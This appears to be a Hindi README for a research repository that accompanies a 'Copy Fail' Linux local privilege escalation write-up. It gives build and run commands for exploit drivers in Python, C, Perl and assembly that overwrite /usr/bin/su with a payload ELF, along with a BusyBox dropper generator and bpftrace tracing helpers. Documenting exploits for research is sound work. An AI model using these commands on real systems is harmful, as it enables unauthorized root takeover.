
शोध आर्टिफैक्ट्स, PoC स्क्रिप्ट्स, और लैब एसेट्स Copy Fail Linux लोकल प्रिविलेज एस्केलेशन राइटअप के लिए https://4xura.com/binex/kernel/copy-fail पर उपलब्ध हैं।
CopyFail लेख के लिए कलाकृतियाँ और स्क्रिप्ट्स।
गहन विवरण:
proof-of-concept/ में लेख में उपयोग किए गए केवल-प्रिमिटिव डेमो हैं।exploit-scripts/ में पायथन, सी, पर्ल, और x86_64 असेंबली में पूर्ण शोषण कार्यान्वयन हैं।bpftrace-scripts/ में रनटाइम विश्लेषण के दौरान उपयोग किए गए छोटे ट्रेसिंग सहायक हैं।केवल पर्ल, असेंबली, और BusyBox कलाकृतियाँ एक बाहरी प्रतिस्थापन ELF की अपेक्षा करती हैं। नीचे दिए गए उदाहरणों में, उस फ़ाइल का नाम payload.pwnkit.elf है, लेकिन कोई भी फ़ाइलनाम ठीक है।
वह पेलोड इस रिपॉजिटरी के अंदर उत्पन्न नहीं होता है। इसे पहले लेख से पेलोड वर्कफ़्लो का पालन करके बनाएं, फिर परिणामी ELF को उसी कार्यशील निर्देशिका में रखें जहाँ आप कलाकृति को चलाना चाहते हैं।
प्रिमिटिव PoCs और पायथन/सी शोषण ड्राइवर सीधे चलाए जा सकते हैं।
ये PoCs मुख्य रूप से लेख में प्रदर्शन के लिए हैं। वे ओवरराइट प्रिमिटिव को अलगाव में दिखाते हैं, न कि पूर्ण प्रतिस्थापन-निष्पादन वर्कफ़्लो।
पायथन डेमो चलाने के लिए, PoC निर्देशिका में जाएँ और स्क्रिप्ट निष्पादित करें:
cd proof-of-concept
python3 copyfail_poc.py
सी डेमो चलाने के लिए, पहले इसे बनाएँ और फिर परिणामी बाइनरी निष्पादित करें:
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
पायथन शोषण स्व-निहित है और प्रतिस्थापन बाइट्स को स्क्रिप्ट में ही रखता है।
शोषण निर्देशिका में जाएँ और डिफ़ॉल्ट लक्ष्य पथ चलाएँ:
cd exploit-scripts
python3 exploit.py
यदि आप एक अलग लक्ष्य बेसनाम चाहते हैं, तो इसे पहले तर्क के रूप में पास करें। प्रति-चंक ओवरराइट लॉग सक्षम करने के लिए, DEBUG=1 सेट करें:
python3 exploit.py su
DEBUG=1 python3 exploit.py su
सी शोषण भी स्व-निहित है। यदि आप एक अलग प्रतिस्थापन चाहते हैं, तो पहले exploit-scripts/exploit.c में PAYLOAD_BYTES संपादित करें।
स्टैटिक (वैकल्पिक) बाइनरी इस प्रकार बनाएँ:
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
फिर डिफ़ॉल्ट लक्ष्य चलाएँ, या एक अलग बेसनाम पास करें। डीबग लॉगिंग DEBUG=1 के माध्यम से नियंत्रित होती है:
./exploit
./exploit su
DEBUG=1 ./exploit su
यह संस्करण स्क्रिप्ट में प्रतिस्थापन बाइट्स एम्बेड करने के बजाय एक बाहरी ELF पेलोड पढ़ता है।
इसे शोषण निर्देशिका से चलाएँ। बिना किसी अतिरिक्त तर्क के, यह डिफ़ॉल्ट लक्ष्य और डिफ़ॉल्ट पेलोड पथ का उपयोग करता है:
cd exploit-scripts
perl exploit.pl
यदि आप पीड़ित पथ और पेलोड ELF दोनों को स्पष्ट रूप से चुनना चाहते हैं, तो उन्हें तर्क के रूप में पास करें। डीबग लॉगिंग भी DEBUG=1 के माध्यम से नियंत्रित होती है:
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
यह संस्करण भी एक बाहरी ELF पेलोड का उपयोग करता है। नीचे दिए गए उदाहरण में इसे payload.pwnkit.elf नाम दिया गया है, लेकिन आप कोई भी फ़ाइलनाम उपयोग कर सकते हैं। यदि आप इसका नाम बदलते हैं, तो मिलान करने के लिए exploit-scripts/exploit.asm में incbin लाइन अपडेट करें।
असेंबली ड्राइवर को nasm और ld के साथ बनाएँ:
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
फिर डिफ़ॉल्ट लक्ष्य चलाएँ, या एक पूर्ण लक्ष्य पथ पास करें:
./exploit_asm
./exploit_asm /usr/bin/su
यह असेंबली ड्राइवर और एक बाहरी पेलोड ELF को एक BusyBox-संगत रनर में पैक करता है। नीचे दिए गए उदाहरण में payload.pwnkit.elf का उपयोग किया गया है, लेकिन कोई भी पेलोड फ़ाइलनाम ठीक है जब तक आप पैकर को समान पथ पास करते हैं।
शोषण निर्देशिका से ड्रॉपर उत्पन्न करें:
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
लक्ष्य सिस्टम पर, BusyBox sh के साथ उत्पन्न स्क्रिप्ट चलाएँ:
busybox sh ./copyfail-busybox.sh /usr/bin/su
ट्रेसिंग सहायक चलाने से पहले, जाँचें कि प्रासंगिक प्रतीक उपलब्ध हैं:
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
स्प्लाइस पथ में प्रवेश करने वाले फ़ाइल पृष्ठों का निरीक्षण करने के लिए, चलाएँ:
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
पाइप-समर्थित डेटा के AF_ALG तक पहुँचने का निरीक्षण करने के लिए, चलाएँ:
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
कमजोर authencesn डिक्रिप्ट कॉलबैक का निरीक्षण करने के लिए, चलाएँ:
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt